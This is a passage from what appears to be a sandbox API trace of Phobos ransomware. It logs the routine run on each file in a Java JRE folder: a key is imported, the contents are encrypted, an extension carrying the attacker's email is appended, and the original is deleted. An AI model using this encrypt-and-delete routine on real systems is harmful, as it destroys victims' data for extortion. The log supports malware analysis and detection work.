hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=31296) returned 1 [0136.628] CloseHandle (hObject=0x2f4) returned 1 [0136.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0136.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.629] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.629] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.629] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752d58) returned 1 [0136.629] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.629] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x7a40, lpOverlapped=0x0) returned 1 [0136.703] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x7a50, dwBufLen=0x7a50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x7a50) returned 1 [0136.703] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x7a50, lpOverlapped=0x0) returned 1 [0136.704] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752c58) returned 1 [0136.704] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.704] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0136.704] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.704] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0136.704] CryptDestroyKey (hKey=0x752d58) returned 1 [0136.704] CloseHandle (hObject=0x2f4) returned 1 [0136.704] CloseHandle (hObject=0x308) returned 1 [0136.704] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1 [0136.706] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0136.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.706] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=220736) returned 1 [0136.706] CloseHandle (hObject=0x308) returned 1 [0136.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0136.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.706] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.706] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.707] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752fd8) returned 1 [0136.707] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.707] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x35e40, lpOverlapped=0x0) returned 1 [0136.771] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x35e50, dwBufLen=0x35e50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x35e50) returned 1 [0136.771] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x35e50, lpOverlapped=0x0) returned 1 [0136.774] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752c58) returned 1 [0136.774] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.774] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0136.774] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.774] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0136.775] CryptDestroyKey (hKey=0x752fd8) returned 1 [0136.775] CloseHandle (hObject=0x308) returned 1 [0136.775] CloseHandle (hObject=0x2f4) returned 1 [0136.775] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1 [0136.776] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0136.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.777] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16448) returned 1 [0136.777] CloseHandle (hObject=0x2f4) returned 1 [0136.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0136.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.777] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.777] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.183] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752ed8) returned 1 [0137.183] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.183] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4040, lpOverlapped=0x0) returned 1 [0137.293] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050, dwBufLen=0x4050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050) returned 1 [0137.293] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4050, lpOverlapped=0x0) returned 1 [0137.294] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752f18) returned 1 [0137.294] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.294] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0137.294] CryptDestroyKey (hKey=0x752f18) returned 1 [0137.294] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0137.294] CryptDestroyKey (hKey=0x752ed8) returned 1 [0137.294] CloseHandle (hObject=0x2f4) returned 1 [0137.294] CloseHandle (hObject=0x308) returned 1 [0137.294] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0137.295] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0137.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.295] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16448) returned 1 [0137.295] CloseHandle (hObject=0x308) returned 1 [0137.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0137.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.296] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.296] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0137.296] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0137.296] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.296] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4040, lpOverlapped=0x0) returned 1 [0137.338] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050, dwBufLen=0x4050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050) returned 1 [0137.338] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4050, lpOverlapped=0x0) returned 1 [0137.339] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e98) returned 1 [0137.339] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.339] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0137.339] CryptDestroyKey (hKey=0x752e98) returned 1 [0137.339] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0137.339] CryptDestroyKey (hKey=0x752cd8) returned 1 [0137.339] CloseHandle (hObject=0x308) returned 1 [0137.339] CloseHandle (hObject=0x2f4) returned 1 [0137.339] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0137.340] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0137.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0137.340] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16448) returned 1 [0137.340] CloseHandle (hObject=0x2f4) returned 1 [0137.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0137.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0137.341] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.341] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.341] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753198) returned 1 [0137.341] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.341] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4040, lpOverlapped=0x0) returned 1 [0137.419] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050, dwBufLen=0x4050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050) returned 1 [0137.419] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4050, lpOverlapped=0x0) returned 1 [0137.420] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x7531d8) returned 1 [0137.420] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.420] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0137.420] CryptDestroyKey (hKey=0x7531d8) returned 1 [0137.420] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0137.421] CryptDestroyKey (hKey=0x753198) returned 1 [0137.421] CloseHandle (hObject=0x2f4) returned 1 [0137.421] CloseHandle (hObject=0x308) returned 1 [0137.421] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0137.422] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0137.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.422] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=233536) returned 1 [0137.422] CloseHandle (hObject=0x308) returned 1 [0137.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0137.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0137.422] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.422] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0137.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0137.423] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753018) returned 1 [0137.423] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.423] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x39040, lpOverlapped=0x0) returned 1 [0137.492] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x39050, dwBufLen=0x39050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x39050) returned 1 [0137.492] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x39050, lpOverlapped=0x0) returned 1 [0137.495] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753198) returned 1 [0137.495] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0137.495] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0137.495] CryptDestroyKey (hKey=0x753198) returned 1 [0137.495] 